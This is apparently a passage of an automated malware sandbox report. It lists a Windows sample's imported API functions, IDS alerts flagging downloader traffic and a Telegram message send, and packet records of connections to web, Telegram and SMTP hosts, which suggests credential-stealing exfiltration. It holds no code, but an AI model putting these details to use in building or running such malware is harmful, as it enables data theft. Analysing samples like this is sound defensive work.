EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-03T09:49:00.541445+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49704	132.226.247.73	80	TCP
2025-01-03T09:49:01.447780+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49704	132.226.247.73	80	TCP
2025-01-03T09:49:01.998995+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49706	188.114.97.3	443	TCP
2025-01-03T09:49:02.744582+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49707	132.226.247.73	80	TCP
2025-01-03T09:49:05.946265+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49712	188.114.97.3	443	TCP
2025-01-03T09:49:07.288410+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49714	188.114.97.3	443	TCP
2025-01-03T09:49:08.599276+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49716	188.114.97.3	443	TCP
2025-01-03T09:49:09.976605+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49718	188.114.97.3	443	TCP
2025-01-03T09:49:12.230937+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.5	49721	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 09:48:59.588392973 CET	49704	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:48:59.593242884 CET	80	49704	132.226.247.73	192.168.2.5
Jan 3, 2025 09:48:59.593318939 CET	49704	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:48:59.593491077 CET	49704	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:48:59.598229885 CET	80	49704	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:00.267025948 CET	80	49704	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:00.270973921 CET	49704	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:00.275846004 CET	80	49704	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:00.486212015 CET	80	49704	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:00.534358978 CET	49705	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:00.534390926 CET	443	49705	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:00.534455061 CET	49705	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:00.540893078 CET	49705	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:00.540906906 CET	443	49705	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:00.541445017 CET	49704	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:01.001435995 CET	443	49705	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.001509905 CET	49705	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.007731915 CET	49705	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.007740974 CET	443	49705	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.008054972 CET	443	49705	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.057066917 CET	49705	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.076188087 CET	49705	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.123332024 CET	443	49705	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.185733080 CET	443	49705	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.185827971 CET	443	49705	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.186013937 CET	49705	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.191993952 CET	49705	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.195245028 CET	49704	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:01.200526953 CET	80	49704	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:01.405169010 CET	80	49704	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:01.408263922 CET	49706	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.408302069 CET	443	49706	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.408386946 CET	49706	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.408710957 CET	49706	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.408726931 CET	443	49706	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.447779894 CET	49704	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:01.867062092 CET	443	49706	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.869575024 CET	49706	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.869604111 CET	443	49706	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.999006987 CET	443	49706	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.999051094 CET	443	49706	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:01.999109983 CET	49706	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:01.999475002 CET	49706	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:02.002542973 CET	49704	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:02.003637075 CET	49707	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:02.008430958 CET	80	49707	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:02.008512974 CET	49707	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:02.008567095 CET	49707	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:02.013294935 CET	80	49707	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:02.017357111 CET	80	49704	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:02.017405033 CET	49704	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:02.689888954 CET	80	49707	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:02.702905893 CET	49708	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:02.702934027 CET	443	49708	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:02.702997923 CET	49708	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:02.706698895 CET	49708	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:02.706710100 CET	443	49708	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:02.744581938 CET	49707	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:03.169840097 CET	443	49708	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:03.175695896 CET	49708	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:03.175717115 CET	443	49708	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:03.325895071 CET	443	49708	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:03.325963020 CET	443	49708	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:03.326010942 CET	49708	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:03.326442957 CET	49708	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:03.331080914 CET	49709	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:03.335983038 CET	80	49709	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:03.336050034 CET	49709	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:03.336138010 CET	49709	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:03.340929985 CET	80	49709	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:04.042382956 CET	80	49709	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:04.043952942 CET	49710	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:04.043983936 CET	443	49710	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:04.044049025 CET	49710	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:04.044332027 CET	49710	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:04.044342995 CET	443	49710	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:04.088311911 CET	49709	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:04.502049923 CET	443	49710	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:04.505595922 CET	49710	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:04.505614996 CET	443	49710	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:04.629307985 CET	443	49710	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:04.629355907 CET	443	49710	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:04.629415035 CET	49710	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:04.629960060 CET	49710	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:04.633095026 CET	49709	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:04.634001970 CET	49711	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:04.638219118 CET	80	49709	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:04.638295889 CET	49709	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:04.638813972 CET	80	49711	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:04.638880014 CET	49711	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:04.638973951 CET	49711	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:04.643699884 CET	80	49711	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:05.329762936 CET	80	49711	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:05.331176043 CET	49712	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:05.331208944 CET	443	49712	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:05.331286907 CET	49712	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:05.331520081 CET	49712	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:05.331532001 CET	443	49712	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:05.385195971 CET	49711	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:05.803565025 CET	443	49712	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:05.809550047 CET	49712	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:05.809565067 CET	443	49712	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:05.946307898 CET	443	49712	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:05.946352005 CET	443	49712	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:05.946402073 CET	49712	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:05.950853109 CET	49712	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:05.969779968 CET	49711	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:05.971396923 CET	49713	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:05.974797010 CET	80	49711	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:05.974858999 CET	49711	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:05.976268053 CET	80	49713	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:05.976326942 CET	49713	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:05.976403952 CET	49713	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:05.981106997 CET	80	49713	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:06.679708958 CET	80	49713	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:06.681338072 CET	49714	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:06.681371927 CET	443	49714	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:06.681452036 CET	49714	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:06.681723118 CET	49714	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:06.681735992 CET	443	49714	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:06.729108095 CET	49713	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:07.141367912 CET	443	49714	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:07.143093109 CET	49714	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:07.143109083 CET	443	49714	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:07.288427114 CET	443	49714	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:07.288470984 CET	443	49714	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:07.288594961 CET	49714	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:07.289309025 CET	49714	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:07.292223930 CET	49713	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:07.293534994 CET	49715	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:07.297188997 CET	80	49713	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:07.297262907 CET	49713	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:07.298305035 CET	80	49715	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:07.298368931 CET	49715	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:07.298449039 CET	49715	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:07.303237915 CET	80	49715	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:07.991692066 CET	80	49715	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:07.992968082 CET	49716	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:07.993021965 CET	443	49716	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:07.993082047 CET	49716	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:07.993330956 CET	49716	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:07.993350983 CET	443	49716	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:08.041436911 CET	49715	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:08.457077026 CET	443	49716	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:08.472667933 CET	49716	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:08.472718954 CET	443	49716	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:08.599288940 CET	443	49716	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:08.599343061 CET	443	49716	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:08.599400043 CET	49716	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:08.599785089 CET	49716	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:08.681231976 CET	49715	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:08.682037115 CET	49717	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:08.686357021 CET	80	49715	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:08.686418056 CET	49715	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:08.686935902 CET	80	49717	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:08.686996937 CET	49717	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:08.687083960 CET	49717	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:08.691869974 CET	80	49717	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:09.378616095 CET	80	49717	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:09.379765034 CET	49718	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:09.379803896 CET	443	49718	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:09.379885912 CET	49718	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:09.380100965 CET	49718	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:09.380115032 CET	443	49718	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:09.432096958 CET	49717	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:09.838543892 CET	443	49718	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:09.840042114 CET	49718	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:09.840070963 CET	443	49718	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:09.976639032 CET	443	49718	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:09.976690054 CET	443	49718	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:09.976739883 CET	49718	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:09.977142096 CET	49718	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:09.980309963 CET	49717	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:09.985320091 CET	80	49717	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:09.985395908 CET	49717	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:09.994543076 CET	49719	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:09.999368906 CET	80	49719	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:09.999435902 CET	49719	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:10.012919903 CET	49719	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:10.018017054 CET	80	49719	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:10.682611942 CET	80	49719	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:10.683777094 CET	49720	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:10.683828115 CET	443	49720	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:10.683912992 CET	49720	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:10.684139013 CET	49720	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:10.684153080 CET	443	49720	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:10.728969097 CET	49719	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:11.167381048 CET	443	49720	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:11.169145107 CET	49720	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:11.169188023 CET	443	49720	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:11.309612989 CET	443	49720	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:11.309679985 CET	443	49720	188.114.97.3	192.168.2.5
Jan 3, 2025 09:49:11.309756994 CET	49720	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:11.310197115 CET	49720	443	192.168.2.5	188.114.97.3
Jan 3, 2025 09:49:11.368268967 CET	49719	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:11.373280048 CET	80	49719	132.226.247.73	192.168.2.5
Jan 3, 2025 09:49:11.373367071 CET	49719	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:11.380038977 CET	49721	443	192.168.2.5	149.154.167.220
Jan 3, 2025 09:49:11.380091906 CET	443	49721	149.154.167.220	192.168.2.5
Jan 3, 2025 09:49:11.380152941 CET	49721	443	192.168.2.5	149.154.167.220
Jan 3, 2025 09:49:11.380882978 CET	49721	443	192.168.2.5	149.154.167.220
Jan 3, 2025 09:49:11.380901098 CET	443	49721	149.154.167.220	192.168.2.5
Jan 3, 2025 09:49:11.989320993 CET	443	49721	149.154.167.220	192.168.2.5
Jan 3, 2025 09:49:11.989439011 CET	49721	443	192.168.2.5	149.154.167.220
Jan 3, 2025 09:49:11.992316008 CET	49721	443	192.168.2.5	149.154.167.220
Jan 3, 2025 09:49:11.992326021 CET	443	49721	149.154.167.220	192.168.2.5
Jan 3, 2025 09:49:11.992553949 CET	443	49721	149.154.167.220	192.168.2.5
Jan 3, 2025 09:49:11.993889093 CET	49721	443	192.168.2.5	149.154.167.220
Jan 3, 2025 09:49:12.035341024 CET	443	49721	149.154.167.220	192.168.2.5
Jan 3, 2025 09:49:12.230950117 CET	443	49721	149.154.167.220	192.168.2.5
Jan 3, 2025 09:49:12.231017113 CET	443	49721	149.154.167.220	192.168.2.5
Jan 3, 2025 09:49:12.231065035 CET	49721	443	192.168.2.5	149.154.167.220
Jan 3, 2025 09:49:12.247663021 CET	49721	443	192.168.2.5	149.154.167.220
Jan 3, 2025 09:49:18.467554092 CET	49707	80	192.168.2.5	132.226.247.73
Jan 3, 2025 09:49:19.100099087 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:19.104913950 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:19.105000019 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:19.682791948 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:19.684382915 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:19.689182997 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:19.830878019 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:19.831024885 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:19.836124897 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:19.979749918 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:19.980161905 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:19.984960079 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.139044046 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.139060974 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.139079094 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.139110088 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:20.153578997 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:20.158402920 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.300014973 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.304779053 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:20.309614897 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.451301098 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.452187061 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:20.456979990 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.605240107 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:20.605576992 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:20.610384941 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:22.373445034 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:22.379329920 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:22.384176016 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:22.525747061 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:22.526748896 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:22.526926041 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:22.530217886 CET	49727	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:22.534974098 CET	587	49727	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:24.044178009 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:24.049027920 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:24.049104929 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:24.682523012 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:24.682696104 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:24.687516928 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:24.830532074 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:24.830696106 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:24.835560083 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:24.982701063 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:24.983015060 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:24.987778902 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:25.142887115 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:25.142906904 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:25.142915964 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:25.142991066 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:25.146399021 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:25.151182890 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:25.295176983 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:25.296010017 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:25.300839901 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:25.443846941 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:25.444065094 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:25.448839903 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:29.594526052 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:29.594841003 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:29.599709034 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:31.249376059 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:31.249564886 CET	49758	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:49:31.254363060 CET	587	49758	208.91.199.115	192.168.2.5
Jan 3, 2025 09:49:31.397222042 CET	587	49758	208.91.199.115	192.168.2.5
